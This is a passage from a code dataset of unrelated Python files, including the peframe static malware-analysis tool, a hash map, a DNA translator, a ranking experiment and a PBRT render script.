self.winCoupeYmax.isWinOpen==True:\n self.winCoupeYmax.close()\n if self.winCoupeSum.isWinOpen==True:\n self.winCoupeSum.close()\n if self.winCoupeMean.isWinOpen==True:\n self.winCoupeMean.close() \n if self.winCoupeXcmass.isWinOpen==True:\n self.winCoupeXcmass.close()\n if self.winCoupeYcmass.isWinOpen==True:\n self.winCoupeYcmass.close()\n time.sleep(0.1)\n event.accept() \n\n def open_widget(self,fene):\n \"\"\" ouverture widget suplementaire \n \"\"\"\n\n if fene.isWinOpen==False:\n fene.setup\n fene.isWinOpen=True\n A=self.geometry()\n fene.setGeometry(A.left()+A.width(),A.top(),500,A.height())\n fene.show()\n else:\n fene.activateWindow()\n fene.raise_()\n fene.showNormal()\n \n \n \nif __name__ == \"__main__\":\n appli = QApplication(sys.argv) \n appli.setStyleSheet(qdarkstyle.load_stylesheet_pyqt5())\n e = MEAS() \n e.show()\n appli.exec_() ","sub_path":"visu/winMeas.py","file_name":"winMeas.py","file_ext":"py","file_size_in_byte":9535,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"366729713","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n# by Gianni 'guelfoweb' Amato\n\nimport os\nimport re\nimport sys\nimport json\nimport magic\nimport pefile\nimport hashlib\nimport pandas as pd\nfrom datetime import datetime\n\nportable = False\nfor path in sys.path:\n if os.sep + 'peframe' + os.sep + 'peframe' in path:\n portable = True\nif portable:\n from modules import directories\n from modules import features\n from modules import apialert\n from modules import yara_check\n from modules import meta\n from modules import virustotal\n from modules import sections\n from modules import fileurl\n from modules import macro\n from modules import headers\n from modules import nucleus\nelse:\n from peframe.modules import directories\n from peframe.modules import features\n from peframe.modules import apialert\n from peframe.modules import yara_check\n from peframe.modules import meta\n from peframe.modules import virustotal\n from peframe.modules import sections\n from peframe.modules import fileurl\n from peframe.modules import macro\n from peframe.modules import headers\n from peframe.modules import nucleus\n\n\ndef version():\n return \"6.0.3\"\n\n\ndef get_datetime_now():\n return datetime.now()\n\n\ndef isfile(filename):\n if os.path.isfile(filename):\n return True\n return False\n\n\ndef ispe(filename):\n if re.match(r'^PE[0-9]{2}|^MS-DOS', filetype(filename)):\n return True\n return False\n\n\ndef filetype(filename):\n return magic.from_file(filename)\n\n\ndef filesize(filename):\n return os.path.getsize(filename)\n\n\ndef get_imphash(filename):\n pe = pefile.PE(filename)\n return pe.get_imphash()\n\n\ndef gethash(filename):\n hashinfo = {}\n\n fh = open(filename, 'rb')\n m = hashlib.md5()\n s = hashlib.sha1()\n s256 = hashlib.sha256()\n\n while True:\n data = fh.read(8192)\n if not data:\n break\n\n m.update(data)\n s.update(data)\n s256.update(data)\n\n hashinfo.update({\"md5\": m.hexdigest(), \"sha1\": s.hexdigest(), \"sha256\": s256.hexdigest()})\n\n return hashinfo\n\n\ndef path_to_file(filename, folder):\n _ROOT = os.path.abspath(os.path.dirname(__file__))\n return os.path.join(_ROOT, folder, filename)\n\n\ndef load_config(config_file):\n with open(config_file) as conf:\n data = json.load(conf)\n return data\n\n\ndef files_to_edit():\n path = {\n \"api_config\": path_to_file('config-peframe.json', 'config'),\n \"string_match\": path_to_file('stringsmatch.json', 'signatures'),\n \"yara_plugins\": path_to_file('yara_plugins', 'signatures')\n }\n return path\n\n\ndef analyze(filename):\n if not isfile(filename):\n exit(\"File not found\")\n\n dt_start = get_datetime_now()\n\n fileinfo = {\n \"version\": version(),\n \"filename\": filename,\n \"filetype\": filetype(filename),\n \"filesize\": filesize(filename),\n # \"virustotal\": virustotal.get_result(\n # \tload_config(\n # \t\tpath_to_file('config-peframe.json', 'config'))['virustotal'],\n # \tgethash(filename)['md5']),\n }\n\n hashes = gethash(filename)\n fileinfo.update({\n \"md5\": hashes[\"md5\"],\n \"sha1\": hashes[\"sha1\"],\n \"sha256\": hashes[\"sha256\"]\n })\n\n # peinfo = {}\n # docinfo = {}\n #\n # fileinfo.update({\"docinfo\": docinfo})\n # fileinfo.update({\"peinfo\": peinfo})\n\n function_size_list = nucleus.analysis(filename)\n\n if ispe(filename):\n pe = pefile.PE(filename)\n fileinfo.update({\n \"imphash\": pe.get_imphash(),\n \"timestamp\": datetime.utcfromtimestamp(pe.FILE_HEADER.TimeDateStamp).strftime('%Y-%m-%d %H:%M:%S'),\n \"dll\": pe.FILE_HEADER.IMAGE_FILE_DLL,\n \"imagebase\": pe.OPTIONAL_HEADER.ImageBase,\n \"entrypoint\": pe.OPTIONAL_HEADER.AddressOfEntryPoint,\n \"behavior\": yara_check.yara_match_from_file(\n path_to_file('antidebug_antivm.yar', 'signatures/yara_plugins/pe'), filename),\n \"breakpoint\": apialert.get_result(pe, load_config(path_to_file('stringsmatch.json', 'signatures'))[\n 'breakpoint']),\n \"metadata\": meta.get(pe),\n \"function_size\": function_size_list\n })\n\n fileinfo.update(headers.get_dos_header(pe))\n fileinfo.update(headers.get_file_header(pe))\n fileinfo.update(headers.get_optional_header(pe))\n fileinfo.update(features.get_result(pe, filename))\n\n sections_dict = sections.get_result(pe)\n fileinfo.update({\"section_count\": sections_dict[\"count\"], \"section_details\": sections_dict[\"details\"]})\n\n strings_dict = fileurl.get_result(filename, load_config(path_to_file('stringsmatch.json', 'signatures')))\n fileinfo.update({\n \"string_file\": strings_dict[\"file\"],\n \"string_url\": strings_dict[\"url\"],\n \"string_ip\": strings_dict[\"ip\"],\n \"string_fuzzing\": strings_dict[\"fuzzing\"],\n \"string_dump\": strings_dict[\"dump\"],\n \"string_count\": strings_dict[\"string_count\"],\n })\n\n directories_dict = directories.get(pe)\n export_df = pd.DataFrame(directories_dict[\"export\"])\n if not export_df.empty:\n export_df[\"function\"] = export_df[\"function\"].apply(lambda x: x.decode(\"utf-8\") if not isinstance(x,str) else x)\n\n fileinfo.update({\n \"import\": directories_dict[\"import\"],\n \"export\": export_df.to_dict('records'),\n \"debug\": directories_dict[\"debug\"],\n \"tls\": directories_dict[\"tls\"],\n \"resources\": directories_dict[\"resources\"],\n \"relocations\": directories_dict[\"relocations\"],\n \"sign\": directories_dict[\"sign\"]\n })\n\n fileinfo.update({\"yara_plugins\": yara_check.yara_match_from_folder(\n path_to_file('pe', 'signatures/yara_plugins'), filename, ['antidebug_antivm.yar'])})\n else:\n fileinfo.update({\"docinfo\": macro.get_result(filename)})\n fileinfo.update({\"yara_plugins\": yara_check.yara_match_from_folder(\n path_to_file('doc', 'signatures/yara_plugins'), filename)})\n\n dt_end = get_datetime_now()\n\n fileinfo.update({\"time\": str(dt_end - dt_start)})\n del fileinfo[\"e_res\"]\n del fileinfo[\"e_res2\"]\n return fileinfo\n","sub_path":"peframe/peframe.py","file_name":"peframe.py","file_ext":"py","file_size_in_byte":6283,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"547804659","text":"import sys\nimport time\nimport numpy as np\nimport scipy.stats\n#import plackettluce as pl\nimport stats as stats\nimport mmgbtl as mm\nimport csv\nimport glob\nimport os\n\n\nif __name__ == '__main__':\n maxdatasize = 1000\n mm_iters = 100\n mm_epsilon = None\n trialcnt = 0\n rslt_rt_mm = np.zeros((maxdatasize, 10), float)\n rslt_bt_mm = np.zeros((maxdatasize, 10), float)\n rslt_ot_mm = np.zeros((maxdatasize, 10), float)\n for f in glob.glob(\"*.csv\"):\n trialcnt += 1\n print(\"Trial: \", trialcnt)\n filename = open(f)\n reader = csv.reader(filename)\n next(reader)\n gt = next(reader)\n gamma = [ float(x) for x in gt ]\n m = len(gamma)\n gamma = np.asarray(gamma)\n data = []\n for itr in range(0, maxdatasize):\n data.append([ int(x) for x in next(reader)])\n\n rslt_mse_mm = np.zeros((mm_iters, 10), float)\n\n rslt_mm_full = np.zeros((mm_iters, m * 10), float)\n\n print(\"n = \", end='')\n sys.stdout.flush()\n\n for j in range(0, 10):\n n = (j + 1) * 100\n\n alts = [i for i in range(m)]\n mmagg = mm.MMPLAggregator(alts)\n\n print(\"\\b\"*len(str(j*100)) + str((j+1)*100), end='')\n sys.stdout.flush()\n votes = np.asarray(data[0:n])\n t_mm = time.perf_counter()\n gamma_mmfull, btime, otime = mmagg.aggregate(votes, mm_epsilon, mm_iters)\n t_mm = time.perf_counter() - t_mm\n rslt_mm_full[:, j*100:(j+1)*100 ] = gamma_mmfull\n gamma_mm = gamma_mmfull[-1]\n rslt_rt_mm[trialcnt-1,j] = t_mm\n rslt_bt_mm[trialcnt-1,j] = btime\n rslt_ot_mm[trialcnt-1,j] = otime\n for itr in range(0, mm_iters):\n rslt_mse_mm[itr, j] = stats.mse(gamma, gamma_mmfull[itr])\n\n print()\n outnameMM_mse = \"rslt_mm_mse_\"+str(trialcnt)+\".csv\"\n outnameMMfull = \"rslt_mm_est_\"+str(trialcnt)+\".csv\"\n np.savetxt(outnameMM_mse, rslt_mse_mm, delimiter=',', newline=\"\\r\\n\")\n np.savetxt(outnameMMfull, rslt_mm_full, delimiter=',', newline=\"\\r\\n\")\n np.savetxt(\"mm_rt.csv\", rslt_rt_mm, delimiter=',', newline=\"\\r\\n\")\n np.savetxt(\"mm_bt.csv\", rslt_bt_mm, delimiter=',', newline=\"\\r\\n\")\n np.savetxt(\"mm_ot.csv\", rslt_ot_mm, delimiter=',', newline=\"\\r\\n\")\n #break\n","sub_path":"Zhibing/mm100iter.py","file_name":"mm100iter.py","file_ext":"py","file_size_in_byte":2353,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"536294811","text":"import zipfile\nfrom unittest import mock\n\nfrom briefcase.platforms.macOS.app import macOSAppCreateCommand\n\n\ndef test_install_app_support_package(first_app_config, tmp_path):\n \"\"\"A support package can be downloaded and unpacked where it is needed.\"\"\"\n # Write a temporary support zip file which includes the Python lib\n support_file = tmp_path / \"out.zip\"\n with zipfile.ZipFile(support_file, \"w\") as support_zip:\n support_zip.writestr(\"internal/file.txt\", data=\"hello world\")\n support_zip.writestr(\"Python/Resources/lib/module.py\", data=\"code\")\n\n # create app paths\n app_path = tmp_path / \"macOS\" / \"app\" / \"First App\" / \"First App.app\"\n lib_path = app_path / \"Contents\" / \"Resources\"\n support_path = lib_path / \"Python\" / \"Support\"\n support_path.mkdir(parents=True)\n\n create_command = macOSAppCreateCommand(base_path=tmp_path)\n\n # Modify download_url to return the temp zipfile\n create_command.download_url = mock.MagicMock(return_value=support_file)\n\n # Mock support package path\n create_command.support_path = mock.MagicMock(return_value=support_path)\n\n # Install the support package\n create_command.install_app_support_package(first_app_config)\n\n # Confirm that only the lib was kept\n assert (support_path / \"Python\" / \"Resources\" / \"lib\").exists()\n assert (support_path / \"Python\" / \"Resources\" / \"lib\" / \"module.py\").exists()\n assert not (support_path / \"internal\").exists()\n","sub_path":"tests/platforms/macOS/app/test_create.py","file_name":"test_create.py","file_ext":"py","file_size_in_byte":1454,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"474207325","text":"from Double_Linked_Lists import Double_Linked_List\nfrom DataNode import DataNode\n\nLI0NEAR_PROBING = 0\nQUADRATIC_PROBING = 1\nSEPERATE_CHAINING = 2\n\nclass HashMap:\n def __init__(self, length, collisiontype, hashfuntion):\n self.lijst = None\n #If the params are valid, create the main variables\n if self.createHashMap(length, collisiontype):\n self.length = length\n self.collisionType = collisiontype\n self.hashfunction = hashfuntion\n\n def createHashMap(self, length, collisiontype):\n \"\"\"\n Create a new hashmap.\n :param length: The length of the table.\n :param collisiontype: The way to solve a collision.\n :return: True if the creation was succesfull, false otherwise.\n \"\"\"\n #Input validation\n if 0 > collisiontype > 2:\n print(\"Invalid collisiontype!!\")\n return False\n\n if length <= 0:\n print(\"Invalid length!\")\n return False\n\n #Creating map\n self.lijst = []\n for i in range(length):\n self.lijst.append(\"\")\n #If linked lists are used, fill every position with an empty link\n if collisiontype == 2:\n for i in range(length):\n new_link = Double_Linked_List()\n self.lijst[i] = new_link\n return True\n\n def isEmpty(self):\n \"\"\"\n Checks if the list is empty.\n :return: True if list is empty, false otherwise\n \"\"\"\n for item in self.lijst:\n if item != \"\":\n return False\n if self.collisionType == 2:\n if not item.isEmpty():\n return False\n return True\n\n def tableInsert(self, searchKey, data):\n \"\"\"\n Inserts a new element in the table.\n :param searchKey: The new item to insert\n :param data: The data that needs to be stored\n :return: True if the insertion succeeded, false otherwise.\n \"\"\"\n #Calculate adres and make datanode\n adres = self.calculateAdres(searchKey)\n new_node = DataNode(searchKey, data)\n #Check if a collision occurs\n if self.lijst[adres] != \"\":\n return self.solveCollision(adres, new_node, False)\n else:\n if self.collisionType == 2:\n self.lijst[adres].insertBeginning(new_node)\n else:\n self.lijst[adres] = new_node\n return True\n\n def calculateAdres(self, searchKey):\n \"\"\"\n Calculates the adres with the hashfunction.\n :param searchKey: The key to be used in the function\n :return: The adres calculated by the hash function.\n \"\"\"\n adres = 0\n if type(searchKey) is str:\n adres = len(searchKey) % self.length\n elif type(searchKey) is int:\n adres = searchKey % self.length\n return adres\n\n def tableRetrieve(self, searchKey):\n \"\"\"\n Returns an item from the hashmap.\n :param searchKey: The item to search for and return.\n :return: item: The item that was found with the searchkey.\n :return: node: The node linked with the searchKey or None if nothing was found\n \"\"\"\n if self.isEmpty():\n return False\n adres = self.calculateAdres(searchKey)\n if self.collisionType == 2:\n return self.solveCollision(adres, searchKey, True)\n position = self.solveCollision(adres, searchKey, True)\n node = self.lijst[position]\n return node\n\n def tableDelete(self, searchKey):\n \"\"\"\n Deletes item from hashmap.\n :param searchKey: Key from the node that needs to be deleted.\n :return: True if the deletion succeeded, false otherwise.\n \"\"\"\n if self.isEmpty():\n return False\n adres = self.calculateAdres(searchKey)\n if self.collisionType == 2:\n deleted = self.seperateChaining(adres, searchKey, True, True)\n if deleted:\n return deleted\n else:\n return True\n else:\n position = self.solveCollision(adres, searchKey, True)\n if not position:\n return position\n else:\n self.lijst[position] = \"\"\n return True\n\n def solveCollision(self, adres, data, search):\n \"\"\"\n Solves a collision by chosing from one of the methods.\n :param adres: Adres that caused collision\n :param data: The item to be inserted.\n :param search: Indicates if the algorithm has to search or not.\n :return: success, adres: Indicates wether the collision was solved. True if it was,\n false if it couldn't solve the collision.\n \"\"\"\n if self.collisionType == 0:\n return self.linearProbing(adres, data, search)\n elif self.collisionType == 1:\n return self.quadraticProbing(adres, data, search)\n elif self.collisionType == 2:\n return self.seperateChaining(adres, data, search, False)\n\n def linearProbing(self, adres, data, search):\n \"\"\"\n Solve a collision with linear probing.\n :param adres: Adres that caused collision.\n :param data: The item to be inserted.\n :param search: Indicates if the algorithm has to search or not.\n :return: Indicates wether the collision was solved. True if it was,\n false if it couldn't solve the collision.\n \"\"\"\n current_adres = adres\n count = 0\n while True:\n #Search through the list for the searchkey\n if search:\n if self.lijst[current_adres] != \"\":\n if self.lijst[current_adres].searchKey == data:\n return current_adres\n #Insert element\n else:\n if self.lijst[current_adres] == \"\":\n self.lijst[current_adres] = data\n return True\n\n current_adres += 1\n count += 1\n\n if count == self.length:\n return False\n\n #Make sure to keep looping over the list\n if current_adres == self.length:\n current_adres = 0\n\n def quadraticProbing(self, adres, data, search):\n \"\"\"\n Solve a collision with quadratic probing.\n :param adres: Adres that caused collision.\n :param data: The item to be inserted.\n :param search: Indicates if the algorithm has to search or not.\n :return: Indicates wether the collision was solved. True if it was,\n false if it couldn't solve the collision.\n \"\"\"\n current_adres = adres\n #We put i on 2 because 1**2 is already visited by current_adres\n i = 1\n #Starts on 1 because we already visited the initial adres\n count = 1\n while True:\n #Search through the list for the searchkey\n if search:\n if self.lijst[current_adres] != \"\":\n if self.lijst[current_adres].searchKey == data:\n return current_adres\n else:\n if self.lijst[current_adres] == \"\":\n self.lijst[current_adres] = data\n return True\n\n current_adres = (adres + i**2)%self.length\n i += 1\n count += 1\n\n #Check if the whole list was checked\n if count == self.length:\n return False\n\n # if current_adres >= self.length:\n # current_adres = 0\n\n def seperateChaining(self, adres, data, search, delete):\n \"\"\"\n Solve a collision with seperate chaining.\n :param adres: Adres that caused collision.\n :param data: The item to be inserted.\n :param search: Indicates if the algorithm has to search or not.\n :param delete: Indicates if the algorithm has to delete or not.\n :return: Indicates wether the collision was solved or the item found. True if it was,\n false if it couldn't solve the collision.\n \"\"\"\n if search:\n table = self.lijst[adres]\n length = table.getLength()\n current_link = table.head\n counter = 0\n while counter != length:\n if current_link.item.searchKey == data:\n if delete:\n table.delete(counter)\n else:\n return current_link.item\n else:\n current_link = current_link.next\n counter += 1\n return False\n else:\n self.lijst[adres].insertBeginning(data)\n return True\n","sub_path":"thomas/HashMap.py","file_name":"HashMap.py","file_ext":"py","file_size_in_byte":8727,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"513550039","text":"from torch.utils.data import Dataset\r\nfrom tqdm import tqdm\r\nfrom PIL import Image\r\nimport json\r\nimport time\r\nimport os\r\nimport imageio\r\nimport torch\r\nimport numpy as np\r\n\r\nclass Landmark(Dataset):\r\n def __init__(self, images, labels, transform=None):\r\n assert len(images) == len(labels), \"Number of images != Number of labels\"\r\n self.images = images\r\n self.labels = labels\r\n self.transform = transform\r\n\r\n def __len__(self):\r\n return len(self.images)\r\n\r\n def __getitem__(self, item):\r\n # im = imageio.imread(self.images[item])\r\n im = Image.open(self.images[item])\r\n lbl = self.labels[item]\r\n tmp = im.getpixel((0, 0))\r\n if isinstance(tmp, int) or len(tmp) != 3:\r\n im = im.convert(\"RGB\")\r\n if self.transform is not None:\r\n im = self.transform(im)\r\n\r\n return im, lbl\r\n\r\n def get_name(self, item):\r\n return self.images[item].split('/')[-1]\r\n\r\n\r\ndef load_compressed_data(root_dir, json_file=None, data_name='data.npz', create=False):\r\n data_path = os.path.join(root_dir, data_name)\r\n if os.path.isfile(data_path) and create == False:\r\n print('Load data from compressed file: ', data_path)\r\n data = np.load(data_path)\r\n images = data['images']\r\n labels = data['labels']\r\n cnt = data['cnt']\r\n return images, labels, cnt\r\n\r\n if create == True and os.path.exists(data_path):\r\n os.remove(data_path)\r\n\r\n f = open(os.path.join(root_dir, json_file), 'r')\r\n data_ann = json.loads(json.load(f))\r\n images, labels, cnt = [], [], 0\r\n\r\n print(\"Found %d images in json file\" %(len(data_ann)))\r\n print('Checking image...')\r\n time_start = time.time()\r\n for i in tqdm(range(len(data_ann))):\r\n try:\r\n im_path = os.path.join(root_dir,\r\n 'TrainVal',\r\n str(data_ann[i]['category']),\r\n str(data_ann[i]['id']) + \".jpg\")\r\n im = imageio.imread(im_path)\r\n images.append(im_path)\r\n labels.append(int(data_ann[i]['category']))\r\n cnt += 1\r\n except:\r\n pass\r\n print('Check done in {} s'.format(time.time() - time_start))\r\n\r\n print('Writing data to binary file...')\r\n time_start = time.time()\r\n np.savez_compressed(data_path, images=images, labels=labels, cnt=cnt)\r\n print('Write to {} in {} s'.format(data_path, time.time() - time_start))\r\n\r\n return images, labels, cnt\r\n","sub_path":"data_loader.py","file_name":"data_loader.py","file_ext":"py","file_size_in_byte":2540,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"422753831","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed May 24 08:32:19 2017\n\n@author: rasmus\n\"\"\"\n\ndef get_reverse_strand(strand):\n reverse_strand = ''\n for i in range(1, len(strand) + 1 ):\n if strand[-i] == 'A':\n reverse_strand = reverse_strand + 'T'\n elif strand[-i] == 'T':\n reverse_strand = reverse_strand + 'A'\n elif strand[-i] == 'C':\n reverse_strand = reverse_strand + 'G' \n elif strand[-i] == 'G':\n reverse_strand = reverse_strand + 'C'\n else:\n reverse_strand = reverse_strand + 'X'\n \n return reverse_strand\n\n#%% \ndef translate_protein(bp_seq, start_frame):\n gene_map = {\"TTT\":\"F\", \"TTC\":\"F\", \"TTA\":\"L\", \"TTG\":\"L\",\n \"TCT\":\"S\", \"TCC\":\"S\", \"TCA\":\"S\", \"TCG\":\"S\",\n \"TAT\":\"Y\", \"TAC\":\"Y\", \"TAA\":\"*\", \"TAG\":\"*\",\n \"TGT\":\"C\", \"TGC\":\"C\", \"TGA\":\"*\", \"TGG\":\"W\",\n \"CTT\":\"L\", \"CTC\":\"L\", \"CTA\":\"L\", \"CTG\":\"L\",\n \"CCT\":\"P\", \"CCC\":\"P\", \"CCA\":\"P\", \"CCG\":\"P\",\n \"CAT\":\"H\", \"CAC\":\"H\", \"CAA\":\"Q\", \"CAG\":\"Q\",\n \"CGT\":\"R\", \"CGC\":\"R\", \"CGA\":\"R\", \"CGG\":\"R\",\n \"ATT\":\"I\", \"ATC\":\"I\", \"ATA\":\"I\", \"ATG\":\"M\",\n \"ACT\":\"T\", \"ACC\":\"T\", \"ACA\":\"T\", \"ACG\":\"T\",\n \"AAT\":\"N\", \"AAC\":\"N\", \"AAA\":\"K\", \"AAG\":\"K\",\n \"AGT\":\"S\", \"AGC\":\"S\", \"AGA\":\"R\", \"AGG\":\"R\",\n \"GTT\":\"V\", \"GTC\":\"V\", \"GTA\":\"V\", \"GTG\":\"V\",\n \"GCT\":\"A\", \"GCC\":\"A\", \"GCA\":\"A\", \"GCG\":\"A\",\n \"GAT\":\"D\", \"GAC\":\"D\", \"GAA\":\"E\", \"GAG\":\"E\",\n \"GGT\":\"G\", \"GGC\":\"G\", \"GGA\":\"G\", \"GGG\":\"G\",}\n\n bp_seq = bp_seq[start_frame:] # Only have start_frame as {0,1,2}\n \n aa_string = ''\n for i in range(0, int(len(bp_seq)/3)):\n triplet = bp_seq[(3*i):(3*(i+1))]\n \n if triplet in gene_map:\n aa_string = aa_string + gene_map[triplet]\n else:\n aa_string = aa_string + 'X'\n\n return aa_string\n\n#%% \ndef get_longest_ORF(aa_seq):\n all_ORF = aa_seq.split('*')\n \n longest_ORF = []\n \n for i in range(0, len(all_ORF)):\n if len(all_ORF[i]) > len(longest_ORF):\n longest_ORF = all_ORF[i]\n #elif len(all_ORF[i]) == len(longest_ORF):\n # print('WARNING, ORFs with same length')\n return longest_ORF\n\n\n#%% \ndef print_gene_results(name_of_gene, sequence):\n print(name_of_gene)\n \n reverse_strand = get_reverse_strand(sequence)\n \n longest_frame = ''\n for i in range(0,3):\n protein_reverse = translate_protein(reverse_strand, i)\n protein_forward = translate_protein(sequence, i)\n \n reverse_longest_ORF = get_longest_ORF(protein_reverse)\n forward_longest_ORF = get_longest_ORF(protein_forward)\n\n if len(reverse_longest_ORF) > len(longest_frame):\n longest_frame = reverse_longest_ORF\n \n if len(forward_longest_ORF) >= len(longest_frame):\n longest_frame = forward_longest_ORF\n if len(longest_frame) > 0: \n print(longest_frame)\n else:\n print('')\n\n \n#%% \ndef main():\n \n with open('translationtest.dna', 'r') as f:\n name_of_gene = ''\n sequence = ''\n \n for line in f:\n if line[0] == '>':\n if not name_of_gene == '':\n print_gene_results(name_of_gene, sequence.upper())\n # Remove possible rest of line\n name_of_gene = line.split(' ')\n name_of_gene = name_of_gene[0].rstrip()\n sequence = ''\n else :\n sequence = sequence + line.rstrip()\n \n print_gene_results(name_of_gene, sequence.upper())\n\n\n\nif __name__ == '__main__':\n main()\n \n \n \n \n \n \n \n \n \n \n ","sub_path":"assignement2/dna2aa.py","file_name":"dna2aa.py","file_ext":"py","file_size_in_byte":3756,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"471892028","text":"import os, random\n#IPython Notebook implementation\n#from IPython.display import display, Image\nfrom PIL import Image\n\ndata_root = 'D:\\\\Udacity\\\\Deep Learning\\\\notMNIST_small'\n\ndef showRandomImage(dir):\n i = Image.open(os.path.join(data_root, dir, random.choice(os.listdir(dir))))\n i.show()\n #IPython notebook implementation\n #i = Image(filename=os.path.join(data_root, dir, random.choice(os.listdir(dir))))\n #display(i)\n\n\nfor dirs in os.listdir(data_root):\n if os.path.isdir(os.path.join(data_root, dirs)):\n showRandomImage(os.path.join(data_root, dirs))","sub_path":"Deep Learning/Problem1.py","file_name":"Problem1.py","file_ext":"py","file_size_in_byte":563,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"244520251","text":"#!/usr/local/bin/python3\n\n#@author\t\tBrandon Tarney\n#@date\t\t\t8/31/2018\n#@description\tScript to remove the final column of csv\n\nfrom file_manager import FileManager\nimport csv\nimport argparse\nimport numpy as np\n\n#=============================\n# MAIN PROGRAM\n#=============================\ndef main():\n\t#print('LOG: Main program to run tests')\n\n\tparser = argparse.ArgumentParser(description='Remove the final column')\n\tparser.add_argument('file_path_in', type=str, help='full path to input file')\n\tparser.add_argument('file_path_out', type=str, help='full path to output file')\n\tparser.add_argument('columns', nargs='+', type=int, help='the columns to remove')\n\targs = parser.parse_args()\n\tcolumns = args.columns\n\tcolumns = sorted(columns, reverse=True)\n\tprint('deleting these columns in this order')\n\tprint(columns)\n\n\tdata = FileManager.get_csv_file_data_numpy(args.file_path_in, ',')\n\tfor column in columns:\n\t\tdata = np.delete(data, column, axis=1)\n\tdata_as_numbers = data.astype(np.float)\n\n\tnp.savetxt(args.file_path_out, data_as_numbers, delimiter=',')\n\n\t'''\n\t#INPUTS\n\tprint()\n\tprint('INPUTS')\n\tinput_path = args.file_path_in\n\tprint('input file path:', input_path)\n\toutput_path = args.file_path_out\n\tprint('output file path:', output_path)\n\n\t#STRIP GIVEN COLUMN\n\tcol_idx = args.column\n\twith open(input_path, \"r\") as file_in:\n\t\twith open(output_path, \"w\") as file_out:\n\t\t\twriter = csv.writer(file_out)\n\t\t\tfor row in csv.reader(file_in):\n\t\t\t\tnew_row = row[0:col_idx]\n\t\t\t\tnew_row.append(row[col_idx+1:])\n\t\t\t\twriter.writerow(new_row)\n\t'''\n\n\nif __name__ == '__main__':\n\tmain()\n","sub_path":"src/rm_col.py","file_name":"rm_col.py","file_ext":"py","file_size_in_byte":1573,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"178397929","text":"#!/usr/bin/python \n\n# Imports \nimport sys, os, subprocess\n\n####################################################################################################\n# @get_files_in_directory\n####################################################################################################\ndef get_files_in_directory(directory,\n file_extension=None):\n \"\"\"\n Gets all the files in a directory, similar to ls command in linux. If the\n file extension is not specified, it returns a list of all the files.\n\n :param directory: Given directory.\n :param file_extension: The extension of requested file.\n :return: A list of the requested files.\n \"\"\"\n\n # A list of all the files that exist in a directory\n files = []\n\n # If the extension is not specified\n if file_extension is None:\n for file in os.listdir(directory):\n files.append(file)\n\n # Otherwise, return files that have specific extensions\n else:\n for file in os.listdir(directory):\n if file.endswith(file_extension):\n files.append(file)\n\n # Return the list\n return files\n \n# PBRT executable \npbrt = '/home/abdellah/projects/bbp-pbrt-v2/build/bin/pbrt'\n\n# Read the input file\ninput_pbrt_file = 'gaussian.pbrt.input'\ninput_pbrt_file_template = list()\n\n# Open the file \ninput_pbrt_file_handle = open(input_pbrt_file, 'r')\n\n# Read it line by line \nfor line in input_pbrt_file_handle:\n input_pbrt_file_template.append(line)\n\n# Close the file \ninput_pbrt_file_handle.close()\n\n# Column y \ncolumn_y = 3.13 \n\n# Column height resolution \nvolume_y = 313\n\n# Step \nstep = column_y / volume_y\n\n# Number of steps \nn_steps = int(column_y / float(step))\n\n# Output directory \noutput_directory = 'output'\n\n# Number of photons \nnumber_photons = 10000000\n\n# Create an output file for each step\nfor i in range(0, 0):#n_steps + 1):\n \n # Output pbrt configuration \n output_pbrt_file_data = list()\n \n # Depth \n depth = str(i * step)\n \n # Prefix \n prefix = '%s_%s' % (depth, str(number_photons))\n \n # Replace the parameters \n for line in input_pbrt_file_template:\n if 'NUMBER_PHOTONS' in line:\n n_photons_line = line\n n_photons_line = n_photons_line.replace('NUMBER_PHOTONS', str(number_photons))\n output_pbrt_file_data.append(n_photons_line)\n elif 'OUTPUT' in line:\n output_line = line\n output_line = output_line.replace(\n 'OUTPUT', '%s_depth%s_n%s' % (str(i), depth, str(number_photons)))\n output_pbrt_file_data.append(output_line)\n elif 'DEPTH' in line:\n depth_line = line\n depth_line = depth_line.replace('DEPTH', depth)\n output_pbrt_file_data.append(depth_line)\n else:\n output_pbrt_file_data.append(line)\n \n # Output file \n output_pbrt_file = '%s/%s_%s.pbrt' % (output_directory, str(i), depth)\n print(output_pbrt_file)\n \n # Write the output file \n output_pbrt_file_handle = open(output_pbrt_file, 'w')\n for line in output_pbrt_file_data:\n output_pbrt_file_handle.write(line)\n \n # Close the output file\n output_pbrt_file_handle.close()\n \n \n# Get all the files in the directory \npbrt_scripts = get_files_in_directory(output_directory, '.pbrt')\n\n# Change directory \nos.chdir(output_directory)\n\n# Execute them one by one \nfor script in pbrt_scripts:\n \n # Execute the script \n shell_command = '%s %s' % (pbrt, script)\n print(shell_command)\n subprocess.call(shell_command, shell=True) \n \n \n","sub_path":"vsd/kernel/create-gaussian-kernels.py","file_name":"create-gaussian-kernels.py","file_ext":"py","file_size_in_byte":3602,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"120473114","text":"def write_core_index(docs, tlobjects, layer):\n # Determine method, types and constructors count\n types = set()\n method_count = 0\n constructor_count = 0\n for tlobject in tlobjects:\n if tlobject.is_function:\n method_count += 1\n else:\n constructor_count += 1\n\n types.add(tlobject.result)\n\n type_count = len(types)\n types.clear()\n\n # Write the head and the full HTML\n docs.write_head('Telethon API', relative_css_path='css/docs.css')\n\n # Welcome text, small explanation about this page\n docs.write('''

    Telethon API

    \n

    This documentation was generated straight from the scheme.tl\nprovided by Telegram. However, there is no official documentation per se\non what the methods, constructors and types mean. Nevertheless, this\npage aims to provide easy access to all the available methods, their\ndefinition and parameters.

    \n\n

